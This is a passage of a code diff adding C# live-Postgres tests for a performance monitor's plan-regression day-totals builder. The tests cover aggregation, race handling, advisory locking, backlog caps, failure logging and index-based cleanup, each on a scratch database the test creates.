+/// the race fact needs the trigger, which reads <c>now()</c>, so it seeds relative to the real clock. Live facts run when
+/// <c>DARLING_TEST_PG</c> is set, each on its own scratch store.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class PlanRegressionDailyBuilderLiveTests
+{
+    private const string SkipText = "Set DARLING_TEST_PG to a Postgres connection string to run the PLAN_REGRESSION day-totals builder's live pins (each mints its own scratch database).";
+
+    private static readonly DateTime Now = new(2026, 3, 20, 12, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>The first closed day for <see cref="Now"/>: T - 14.</summary>
+    private static readonly DateTime FirstDay = new(2026, 3, 6, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>A day with rows in the hand-aggregate fact.</summary>
+    private static readonly DateTime Day = new(2026, 3, 10, 0, 0, 0, DateTimeKind.Unspecified);
+
+    /// <summary>Closed days for <see cref="Now"/>: T - 14 through T - 3.</summary>
+    private const int ClosedDays = 12;
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private static long s_interval;
+
+    private static async Task<NpgsqlConnection> MigratedAsync(ScratchPostgres scratch, CancellationToken ct)
+    {
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        return connection;
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static string DateText(DateTime value) => value.ToString("yyyy-MM-dd", System.Globalization.CultureInfo.InvariantCulture);
+
+    /// <summary>Enrolls the server (enabled unless told otherwise) with an interval-table coverage claim.</summary>
+    private static async Task CoverAsync(
+        NpgsqlConnection connection, int serverId, CancellationToken ct, string filledSince = "2026-01-01 00:00:00", bool enabled = true)
+    {
+        await ExecAsync(connection,
+            $"INSERT INTO collect.servers (server_id, server_name, is_enabled) VALUES ({serverId}, 'srv{serverId}', {(enabled ? "TRUE" : "FALSE")}) ON CONFLICT (server_id) DO NOTHING", ct);
+        await ExecAsync(connection,
+            $"INSERT INTO collect.query_store_interval_latest_coverage (server_id, filled_since, applied_through) VALUES ({serverId}, TIMESTAMP '{filledSince}', TIMESTAMP '2026-03-01 00:00:00')", ct);
+    }
+
+    /// <summary>One interval row: first at <paramref name="first"/>, collected an hour later, last half an hour after first.</summary>
+    private static async Task SeedAsync(
+        NpgsqlConnection connection, int serverId, string? db, long plan, DateTime first, long execs, long cpu, long dur, bool forced, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(
+            "INSERT INTO collect.query_store_interval_latest (server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time, query_plan_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count) "
+            + "VALUES (@server, @db, 10, @plan, NULL, @interval, @first, @first + interval '1 hour', 'h' || @plan, @execs, @cpu, @dur, @first + interval '30 minutes', @forced, 0)", connection);
+        command.Parameters.Add(new NpgsqlParameter("server", NpgsqlDbType.Integer) { Value = serverId });
+        command.Parameters.Add(new NpgsqlParameter("db", NpgsqlDbType.Text) { Value = (object?)db ?? DBNull.Value });
+        command.Parameters.Add(new NpgsqlParameter("plan", NpgsqlDbType.Bigint) { Value = plan });
+        command.Parameters.Add(new NpgsqlParameter("interval", NpgsqlDbType.Bigint) { Value = Interlocked.Increment(ref s_interval) });
+        command.Parameters.Add(new NpgsqlParameter("first", NpgsqlDbType.Timestamp) { Value = first });
+        command.Parameters.Add(new NpgsqlParameter("execs", NpgsqlDbType.Bigint) { Value = execs });
+        command.Parameters.Add(new NpgsqlParameter("cpu", NpgsqlDbType.Bigint) { Value = cpu });
+        command.Parameters.Add(new NpgsqlParameter("dur", NpgsqlDbType.Bigint) { Value = dur });
+        command.Parameters.Add(new NpgsqlParameter("forced", NpgsqlDbType.Boolean) { Value = forced });
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static NpgsqlDataSource DataSource(ScratchPostgres scratch) => NpgsqlDataSource.Create(scratch.ConnectionString);
+
+    private static async Task RunLiveAsync(Func<ScratchPostgres, NpgsqlConnection, CancellationToken, Task> body, bool disableTrigger = true)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), SkipText);
+        var ct = TestContext.Current.CancellationToken;
+
+        // #1776 own-store: a scratch database of its own, so no other class's migrations race it.
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = await MigratedAsync(scratch, ct);
+        var bodySucceeded = false;
+        try
+        {
+            if (disableTrigger)
+            {
+                /* The trigger's WHEN clause is not under test here, and an old-dated insert would mark days: disable it. */
+                await ExecAsync(connection, "ALTER TABLE collect.query_store_interval_latest DISABLE TRIGGER trg_plan_regression_daily_late", ct);
+            }
+
+            await body(scratch, connection, ct);
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
+        }
+    }
+
+    [Fact]
+    public async Task ABuiltDay_EqualsAHandAggregate_AndAnEmptyDayIsBuiltWithZeroSourceRows()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            /* Plan 1: two intervals on the day (10 x 100 + 30 x 200 = 7000 cpu, 10 x 1000 + 30 x 2000 = 70000 dur), one forced.
+               Plan 2, NULL database. Plan 1 again on the next day, which must not land in this one. */
+            await SeedAsync(connection, 1, "db1", 1, Day.AddHours(2), 10, 100, 1000, false, ct);
+            await SeedAsync(connection, 1, "db1", 1, Day.AddHours(5), 30, 200, 2000, true, ct);
+            await SeedAsync(connection, 1, null, 2, Day.AddHours(3), 5, 50, 500, false, ct);
+            await SeedAsync(connection, 1, "db1", 1, Day.AddDays(1).AddHours(2), 99, 1, 1, false, ct);
+
+            await using var source = DataSource(scratch);
+            var result = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, ct);
+
+            Assert.Equal(ClosedDays, result.Built);
+            Assert.Equal(0, result.Failed);
+            Assert.Equal(0, result.Skipped);
+            Assert.Equal(0, result.Deferred);
+            Assert.Equal("db1|1|40|7000|70000|true;<null>|2|5|250|2500|false", await ScalarAsync(connection,
+                $"SELECT string_agg(COALESCE(database_name, '<null>') || '|' || plan_id || '|' || execs || '|' || cpu_us_sum || '|' || dur_us_sum || '|' || is_forced_plan::text, ';' ORDER BY plan_id) FROM collect.plan_regression_daily WHERE server_id = 1 AND day = DATE '{DateText(Day)}'", ct));
+            Assert.Equal(2L, await ScalarAsync(connection, $"SELECT source_rows FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(Day)}'", ct));
+
+            /* The next day holds its one row; a day with nothing is built too, with source_rows 0, so it is not planned again. */
+            Assert.Equal(1L, await ScalarAsync(connection, $"SELECT source_rows FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(Day.AddDays(1))}'", ct));
+            var empty = Day.AddDays(2);
+            Assert.Equal(0L, await ScalarAsync(connection, $"SELECT source_rows FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(empty)}'", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, $"SELECT count(*) FROM collect.plan_regression_daily WHERE day = DATE '{DateText(empty)}'", ct));
+
+            /* Every built day is valid (built_seq = late_seq) and the window is T - 14 through T - 3 exactly. */
+            Assert.Equal((long)ClosedDays, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily_built WHERE built_seq = late_seq", ct));
+            Assert.Equal(DateText(FirstDay), (await ScalarAsync(connection, "SELECT min(day)::text FROM collect.plan_regression_daily_built", ct))!.ToString());
+            Assert.Equal(DateText(Now.AddDays(-3)), (await ScalarAsync(connection, "SELECT max(day)::text FROM collect.plan_regression_daily_built", ct))!.ToString());
+
+            /* Nothing is due now. */
+            var again = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, ct);
+            Assert.Equal(0, again.Built);
+        });
+    }
+
+    [Fact]
+    public async Task ABuildRacingALateApply_EndsInvalid_ThenRebuilds()
+    {
+        /* The trigger reads now() in its WHEN clause, so this fact is relative to the real clock. */
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
+            var day = now.Date.AddDays(-5);
+            var dayOnly = DateOnly.FromDateTime(day);
+            await SeedAsync(connection, 1, "db1", 1, day.AddHours(2), 10, 100, 1000, false, ct);
+            Assert.Equal(1L, await ScalarAsync(connection, $"SELECT late_seq FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(day)}'", ct));
+
+            await using var builder = new NpgsqlConnection(scratch.ConnectionString);
+            await builder.OpenAsync(ct);
+
+            /* A late apply lands between the build's read of late_seq (s0 = 1) and its aggregate. */
+            var rows = await PlanRegressionDaily.BuildDayAsync(builder, 1, dayOnly, now, ct,
+                afterSeqRead: async token => await SeedAsync(connection, 1, "db1", 2, day.AddHours(4), 5, 50, 500, false, token));
+
+            Assert.Equal(2L, rows);
+            Assert.Equal(1L, await ScalarAsync(connection, $"SELECT built_seq FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(day)}'", ct));
+            Assert.Equal(2L, await ScalarAsync(connection, $"SELECT late_seq FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(day)}'", ct));
+            var due = await PlanRegressionDaily.PlanBuildsAsync(connection, now, ct);
+            Assert.Contains(new PlanRegressionDaily.Build(1, dayOnly), due);
+
+            /* The rebuild stamps the new sequence, and the day is no longer due. */
+            Assert.Equal(2L, await PlanRegressionDaily.BuildDayAsync(builder, 1, dayOnly, now, ct));
+            Assert.Equal(2L, await ScalarAsync(connection, $"SELECT built_seq FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(day)}'", ct));
+            Assert.Equal(2L, await ScalarAsync(connection, $"SELECT late_seq FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(day)}'", ct));
+            Assert.DoesNotContain(new PlanRegressionDaily.Build(1, dayOnly), await PlanRegressionDaily.PlanBuildsAsync(connection, now, ct));
+        }, disableTrigger: false);
+    }
+
+    [Fact]
+    public async Task ASecondBuilder_SkipsWhileTheServersLockIsHeld_AndBuildsOnceItIsFree()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await SeedAsync(connection, 1, "db1", 1, Day.AddHours(2), 10, 100, 1000, false, ct);
+
+            await using var holder = new NpgsqlConnection(scratch.ConnectionString);
+            await holder.OpenAsync(ct);
+            await using var held = await holder.BeginTransactionAsync(ct);
+            await ExecAsync(holder, "SELECT pg_advisory_xact_lock(hashtextextended('plan_regression_daily:1', 0))", ct);
+
+            await using var source = DataSource(scratch);
+            var skipped = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, ct);
+            Assert.Equal(0, skipped.Built);
+            Assert.Equal(ClosedDays, skipped.Skipped);
+            Assert.Equal(0, skipped.Failed);
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily_built WHERE built_seq IS NOT NULL", ct));
+
+            await held.CommitAsync(ct);
+            var built = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, ct);
+            Assert.Equal(ClosedDays, built.Built);
+            Assert.Equal(0, built.Skipped);
+            Assert.Equal(1L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+        });
+    }
+
+    [Fact]
+    public async Task ThePlan_SkipsAPendingServer_ADisabledServer_AndDaysBeforeFilledSincePlusOne()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            /* Server 1: filled since the middle of 03-08, so its first plannable day is 03-09. Server 2: a pending batch.
+               Server 3: disabled. Server 4: filled since long ago. */
+            await CoverAsync(connection, 1, ct, filledSince: "2026-03-08 12:00:00");
+            await CoverAsync(connection, 2, ct);
+            await ExecAsync(connection,
+                "INSERT INTO collect.query_store_interval_latest_pending (server_id, collection_time, database_name, recorded_at, failure) VALUES (2, TIMESTAMP '2026-03-18 00:00:00', 'db1', TIMESTAMP '2026-03-18 00:05:00', 'x')", ct);
+            await CoverAsync(connection, 3, ct, enabled: false);
+            await CoverAsync(connection, 4, ct);
+
+            var plan = await PlanRegressionDaily.PlanBuildsAsync(connection, Now, ct);
+
+            Assert.Equal(9, plan.Count(b => b.ServerId == 1));
+            Assert.Equal(new DateOnly(2026, 3, 9), plan.Where(b => b.ServerId == 1).Min(b => b.Day));
+            Assert.Equal(new DateOnly(2026, 3, 17), plan.Where(b => b.ServerId == 1).Max(b => b.Day));
+            Assert.DoesNotContain(plan, b => b.ServerId is 2 or 3);
+            Assert.Equal(ClosedDays, plan.Count(b => b.ServerId == 4));
+            Assert.Equal(new DateOnly(2026, 3, 6), plan.Where(b => b.ServerId == 4).Min(b => b.Day));
+            Assert.Equal(new DateOnly(2026, 3, 17), plan.Where(b => b.ServerId == 4).Max(b => b.Day));
+
+            /* Oldest day first, then server. */
+            Assert.Equal(plan.OrderBy(b => b.Day).ThenBy(b => b.ServerId).ToList(), plan.ToList());
+        });
+    }
+
+    [Fact]
+    public async Task ABacklogLargerThanTheCap_BuildsOnlyTheCap_AndTheDeadlineDefersTheRest()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            for (var server = 1; server <= 11; server++)
+            {
+                await CoverAsync(connection, server, ct);
+            }
+
+            await using var source = DataSource(scratch);
+
+            /* 11 servers x 12 days = 132 due, cap 120. */
+            var late = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, () => PlanRegressionDaily.MaxTickDuration, ct);
+            Assert.Equal(0, late.Built);
+            Assert.Equal(PlanRegressionDaily.MaxBuildsPerTick, late.Deferred);
+
+            var result = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, ct);
+            Assert.Equal(PlanRegressionDaily.MaxBuildsPerTick, result.Built);
+            Assert.Equal(0, result.Deferred);
+
+            var next = await PlanRegressionDaily.RunTickAsync(source, Now, NullLogger.Instance, ct);
+            Assert.Equal(11 * ClosedDays - PlanRegressionDaily.MaxBuildsPerTick, next.Built);
+        });
+    }
+
+    [Fact]
+    public async Task AFailedBuild_IsLoggedAsAWarning_LeavesTheDayUnbuilt_AndDoesNotStopTheOthers()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await SeedAsync(connection, 1, "db1", 1, Day.AddHours(2), 10, 100, 1000, false, ct);
+            /* Any insert into the totals table now fails, so only the day with rows fails; the empty days insert nothing. */
+            await ExecAsync(connection, "ALTER TABLE collect.plan_regression_daily ADD CONSTRAINT zz_refuse CHECK (false) NOT VALID", ct);
+
+            var logger = new CapturingTestLogger();
+            await using var source = DataSource(scratch);
+            var result = await PlanRegressionDaily.RunTickAsync(source, Now, logger, ct);
+
+            Assert.Equal(1, result.Failed);
+            Assert.Equal(ClosedDays - 1, result.Built);
+            Assert.Equal(1, logger.CountAtLevel(LogLevel.Warning));
+            Assert.Contains("failed and is retried next tick", logger.Joined, StringComparison.Ordinal);
+            Assert.IsType<DBNull>(await ScalarAsync(connection, $"SELECT built_seq FROM collect.plan_regression_daily_built WHERE server_id = 1 AND day = DATE '{DateText(Day)}'", ct));
+
+            /* Still due. */
+            Assert.Contains(new PlanRegressionDaily.Build(1, DateOnly.FromDateTime(Day)), await PlanRegressionDaily.PlanBuildsAsync(connection, Now, ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheGc_RemovesOldDaysAndDisabledServersFromBothTables_InOneTransaction()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await CoverAsync(connection, 9, ct, enabled: false);
+            const string Totals = "INSERT INTO collect.plan_regression_daily (server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash, execs) VALUES ({0}, DATE '{1}', 'db1', 1, 1, NULL, 'h', 1)";
+            const string Built = "INSERT INTO collect.plan_regression_daily_built (server_id, day, built_seq) VALUES ({0}, DATE '{1}', 0)";
+
+            /* Now is 03-20, so the horizon is 03-04 (T - 16): 03-03 goes, 03-04 stays. Server 9 is not enabled: all its days go. */
+            foreach (var (server, day) in new[] { (1, "2026-03-03"), (1, "2026-03-04"), (1, "2026-03-10"), (9, "2026-03-10") })
+            {
+                await ExecAsync(connection, string.Format(System.Globalization.CultureInfo.InvariantCulture, Totals, server, day), ct);
+                await ExecAsync(connection, string.Format(System.Globalization.CultureInfo.InvariantCulture, Built, server, day), ct);
+            }
+
+            Assert.Equal(2L, await PlanRegressionDaily.GcAsync(connection, Now, ct));
+
+            Assert.Equal("1|2026-03-04;1|2026-03-10", await ScalarAsync(connection, "SELECT string_agg(server_id || '|' || day, ';' ORDER BY server_id, day) FROM collect.plan_regression_daily", ct));
+            Assert.Equal("1|2026-03-04;1|2026-03-10", await ScalarAsync(connection, "SELECT string_agg(server_id || '|' || day, ';' ORDER BY server_id, day) FROM collect.plan_regression_daily_built", ct));
+        });
+    }
+
+    [Fact]
+    public async Task TheGc_ProbesTheTotalsByIndex_NeverScansThem_AndRemovesExpiredDaysWhileLiveDaysStay()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await CoverAsync(connection, 9, ct, enabled: false);
+
+            /* Enough totals rows that a sequential scan would be the cheap plan if the delete had a predicate of its own:
+               3 live days of one enabled server, 30,000 rows each, and one expired day of a disabled server. */
+            await ExecAsync(connection, @"
+INSERT INTO collect.plan_regression_daily_built (server_id, day, built_seq)
+SELECT 1, d::date, 0 FROM generate_series(DATE '2026-03-10', DATE '2026-03-12', interval '1 day') AS d;
+INSERT INTO collect.plan_regression_daily (server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash, execs)
+SELECT 1, d::date, 'db1', q, 1, NULL, 'h', 1
+FROM generate_series(DATE '2026-03-10', DATE '2026-03-12', interval '1 day') AS d, generate_series(1, 30000) AS q;
+INSERT INTO collect.plan_regression_daily_built (server_id, day, built_seq) VALUES (9, DATE '2026-03-10', 0);
+INSERT INTO collect.plan_regression_daily (server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash, execs)
+SELECT 9, DATE '2026-03-10', 'db1', q, 1, NULL, 'h', 1 FROM generate_series(1, 10) AS q;
+ANALYZE collect.plan_regression_daily;
+ANALYZE collect.plan_regression_daily_built;", ct);
+
+            /* The plan of the statement that removes one due key: executed inside a transaction that is rolled back, so the
+               next case starts from the same rows. Every access to the totals table is an index probe, on the unique index,
+               and it reads only that day's ten rows of the 90,010. */
+            var due = await TotalsScansOfGcAsync(connection, 9, new DateOnly(2026, 3, 10), ct);
+            Assert.NotEmpty(due);
+
+            /* Both leading columns are in the index condition: a day test the index cannot use (a cast, say) would leave the probe
+               on the server alone and read every day of it, which a small due day of a small server would hide. */
+            Assert.All(due, node => Assert.True(node.IndexCond is not null && node.IndexCond.Contains("server_id", StringComparison.Ordinal)
+                && node.IndexCond.Contains("day", StringComparison.Ordinal), $"index condition: {node.IndexCond ?? "none"}"));
+            Assert.All(due, node => Assert.True(node.Index == "ux_plan_regression_daily", $"{node.NodeType} on {node.Index ?? "no index"}"));
+            Assert.True(due.Sum(node => node.RowsRead) <= 10, $"the cleanup read {due.Sum(node => node.RowsRead)} totals rows for ten due ones");
+
+            /* Nothing is read when nothing is due: the built-row delete returns no key, so no totals statement runs and the
+               totals table is not touched. After the disabled server's day goes, a second pass removes nothing. */
+            /* The explain above runs the statement text on its own. What GcAsync really runs is counted through
+               pg_stat_statements (when this rig loads it; CI does): one due key is one keyed totals delete that touches a few
+               blocks, where a delete with a predicate of its own would read the whole 90,010-row table, and a pass with
+               nothing due runs no totals delete at all. */
+            var counted = await StartStatementCountAsync(connection, ct);
+            Assert.Equal(1L, await PlanRegressionDaily.GcAsync(connection, Now, ct));
+            if (counted)
+            {
+                var (calls, blocks) = await TotalsDeleteStatementsAsync(connection, ct);
+                Assert.True(calls == 1, $"the cleanup ran {calls} totals deletes for one due key");
+                Assert.True(blocks <= 60, $"the cleanup's totals delete touched {blocks} blocks for ten due rows");
+            }
+
+            Assert.Equal(90000L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+            if (counted)
+            {
+                await ExecAsync(connection, "SELECT pg_stat_statements_reset(0, (SELECT oid FROM pg_database WHERE datname = current_database()), 0)", ct);
+            }
+
+            Assert.Equal(0L, await PlanRegressionDaily.GcAsync(connection, Now, ct));
+            if (counted)
+            {
+                var (calls, _) = await TotalsDeleteStatementsAsync(connection, ct);
+                Assert.True(calls == 0, $"the cleanup ran {calls} totals deletes when nothing had expired");
+            }
+
+            Assert.Equal(90000L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+
+            /* The live days stay, and an expired day of an enabled server goes with its totals. */
+            await ExecAsync(connection, "INSERT INTO collect.plan_regression_daily_built (server_id, day, built_seq) VALUES (1, DATE '2026-03-03', 0)", ct);
+            await ExecAsync(connection, "INSERT INTO collect.plan_regression_daily (server_id, day, database_name, query_id, plan_id, replica_role, query_plan_hash, execs) VALUES (1, DATE '2026-03-03', 'db1', 1, 1, NULL, 'h', 1)", ct);
+            Assert.Equal(1L, await PlanRegressionDaily.GcAsync(connection, Now, ct));
+            Assert.Equal(90000L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+            Assert.Equal(3L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily_built", ct));
+        });
+    }
+
+    /// <summary>Turns on pg_stat_statements for this database and clears its counters. False when the rig does not preload it.</summary>
+    private static async Task<bool> StartStatementCountAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var preloadCommand = new NpgsqlCommand("SELECT current_setting('shared_preload_libraries')", connection);
+        var preload = (string)(await preloadCommand.ExecuteScalarAsync(ct))!;
+        if (!preload.Split(',').Select(name => name.Trim()).Contains("pg_stat_statements"))
+        {
+            return false;
+        }
+
+        await ExecAsync(connection, "CREATE EXTENSION IF NOT EXISTS pg_stat_statements", ct);
+        await ExecAsync(connection, "SELECT pg_stat_statements_reset(0, (SELECT oid FROM pg_database WHERE datname = current_database()), 0)", ct);
+        return true;
+    }
+
+    /// <summary>The calls and the blocks touched (hit plus read) of the statements that delete from the totals table, in this database.</summary>
+    private static async Task<(long Calls, long Blocks)> TotalsDeleteStatementsAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(@"
+SELECT COALESCE(SUM(calls), 0)::bigint, COALESCE(SUM(shared_blks_hit + shared_blks_read), 0)::bigint
+FROM pg_stat_statements
+WHERE dbid = (SELECT oid FROM pg_database WHERE datname = current_database())
+AND   query ~ '^DELETE FROM collect\.plan_regression_daily(\s|$)';", connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        await reader.ReadAsync(ct);
+        return (reader.GetInt64(0), reader.GetInt64(1));
+    }
+
+    private readonly record struct TotalsScan(string NodeType, string? Index, string? IndexCond, double RowsRead);
+
+    /// <summary>Runs <see cref="PlanRegressionDaily.GcTotalsSql"/> for one key under EXPLAIN ANALYZE in a transaction that is
+    /// rolled back, and returns every access to the totals table: its node type, index and rows read (rows returned,
+    /// times loops).</summary>
+    private static async Task<List<TotalsScan>> TotalsScansOfGcAsync(NpgsqlConnection connection, int serverId, DateOnly day, CancellationToken ct)
+    {
+        await using var transaction = await connection.BeginTransactionAsync(ct);
+        string json;
+        await using (var command = new NpgsqlCommand("EXPLAIN (ANALYZE, FORMAT JSON) " + PlanRegressionDaily.GcTotalsSql, connection, transaction))
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = day });
+            json = (string)(await command.ExecuteScalarAsync(ct))!;
+        }
+
+        await transaction.RollbackAsync(ct);
+
+        var found = new List<TotalsScan>();
+        void Walk(System.Text.Json.JsonElement node)
+        {
+            if (node.TryGetProperty("Relation Name", out var relation) && relation.GetString() == "plan_regression_daily"
+                && node.GetProperty("Node Type").GetString()!.Contains("Scan", StringComparison.Ordinal))
+            {
+                var loops = node.GetProperty("Actual Loops").GetDouble();
+                var rows = node.GetProperty("Actual Rows").GetDouble() * loops;
+                found.Add(new TotalsScan(node.GetProperty("Node Type").GetString()!, node.TryGetProperty("Index Name", out var index) ? index.GetString() : null, node.TryGetProperty("Index Cond", out var cond) ? cond.GetString() : null, rows));
+            }
+
+            if (node.TryGetProperty("Plans", out var plans))
+            {
+                foreach (var child in plans.EnumerateArray()) Walk(child);
+            }
+
+            if (node.TryGetProperty("Plan", out var plan)) Walk(plan);
+        }
+
+        using var document = System.Text.Json.JsonDocument.Parse(json);
+        Walk(document.RootElement[0]);
+        return found;
+    }
+
+    [Fact]
+    public async Task ABuildWhoseBuiltRowIsGoneByTheStamp_ThrowsAndRollsBack_LeavingNoOrphanTotals()
+    {
+        await RunLiveAsync(async (scratch, connection, ct) =>
+        {
+            await CoverAsync(connection, 1, ct);
+            await SeedAsync(connection, 1, "db1", 1, Day.AddHours(2), 10, 100, 1000, false, ct);
+
+            await using var builder = new NpgsqlConnection(scratch.ConnectionString);
+            await builder.OpenAsync(ct);
+
+            /* A second service's cleanup removes the built row (the server was just disabled) after the build read its
+               sequence and before it stamps. The stamp then updates nothing. */
+            var thrown = await Assert.ThrowsAsync<InvalidOperationException>(() => PlanRegressionDaily.BuildDayAsync(
+                builder, 1, DateOnly.FromDateTime(Day), Now, ct,
+                afterSeqRead: async token => await ExecAsync(connection, "DELETE FROM collect.plan_regression_daily_built WHERE server_id = 1", token)));
+            Assert.Contains("is gone", thrown.Message, StringComparison.Ordinal);
+
+            /* Rolled back: no totals for a day no built row owns, and no built row. */
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.plan_regression_daily_built", ct));
+        });
+    }
+
+    [Fact]
+    public void TheTenant_IsTheSeventhAndLastAwaitInTheTick_WithItsOwnCatchAll()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var code = CSharpSourceWalker.StripCommentsAndStrings(worker);
+        var tick = Body(code, "private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(tick), "could not locate RunStoreMaintenanceTickAsync");
+
+        const string Refresh = "await RefreshModuleMapRecentAsync(stoppingToken);";
+        const string Build = "await BuildPlanRegressionDailyAsync(stoppingToken);";
+        var refreshAt = tick.IndexOf(Refresh, StringComparison.Ordinal);
+        var buildAt = tick.IndexOf(Build, StringComparison.Ordinal);
+        Assert.True(refreshAt >= 0 && buildAt > refreshAt, "the day-totals builder is awaited after the module-map refresh");
+        Assert.Equal(1, tick.Split(Build).Length - 1);
+        Assert.Equal(1, code.Split(Build).Length - 1);
+        Assert.True(string.IsNullOrWhiteSpace(tick[(refreshAt + Refresh.Length)..buildAt]), "nothing sits between the refresh and the builder");
+        Assert.True(string.IsNullOrWhiteSpace(tick[(buildAt + Build.Length)..]), "nothing follows the builder in the tick");
+
+        /* Outside the TimescaleDB gate: the refresh it follows is outside it, so the builder runs on every store shape. */
+        var gateAt = tick.IndexOf("else", StringComparison.Ordinal);
+        Assert.True(gateAt >= 0 && gateAt < refreshAt, "the builder sits after the gated if/else, outside the TimescaleDB gate");
+
+        var tenant = Body(code, "private async Task BuildPlanRegressionDailyAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(tenant), "could not locate BuildPlanRegressionDailyAsync");
+        Assert.Contains("catch (Exception ex) when (ex is not OperationCanceledException)", tenant, StringComparison.Ordinal);
+        Assert.Contains("PlanRegressionDaily.RunTickAsync(", tenant, StringComparison.Ordinal);
+        Assert.DoesNotContain("throw", tenant, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheConstantsAndStatements_AreTheDocumentedOnes()
+    {
+        Assert.Equal(120, PlanRegressionDaily.MaxBuildsPerTick);
+        Assert.Equal(60, PlanRegressionDaily.BuildStatementTimeoutSeconds);
+        Assert.Equal(TimeSpan.FromMinutes(10), PlanRegressionDaily.MaxTickDuration);
+        Assert.Equal(14, PlanRegressionDaily.WindowDays);
+        Assert.Equal(3, PlanRegressionDaily.ClosedDayLagDays);
+        Assert.Equal(16, PlanRegressionDaily.MarkLateWindowDays);
+
+        Assert.Contains("pg_try_advisory_xact_lock(hashtextextended('plan_regression_daily:' || $1::integer::text, 0))", PlanRegressionDaily.LockSql, StringComparison.Ordinal);
+        Assert.Contains("ON CONFLICT (server_id, day) DO NOTHING", PlanRegressionDaily.EnsureBuiltSql, StringComparison.Ordinal);
+
+        /* The plan: enabled servers only, none with a pending batch, days from the day after filled_since, due when unstamped or moved. */
+        Assert.Contains("sv.is_enabled", PlanRegressionDaily.PlanSql, StringComparison.Ordinal);
+        Assert.Contains("collect.query_store_interval_latest_pending", PlanRegressionDaily.PlanSql, StringComparison.Ordinal);
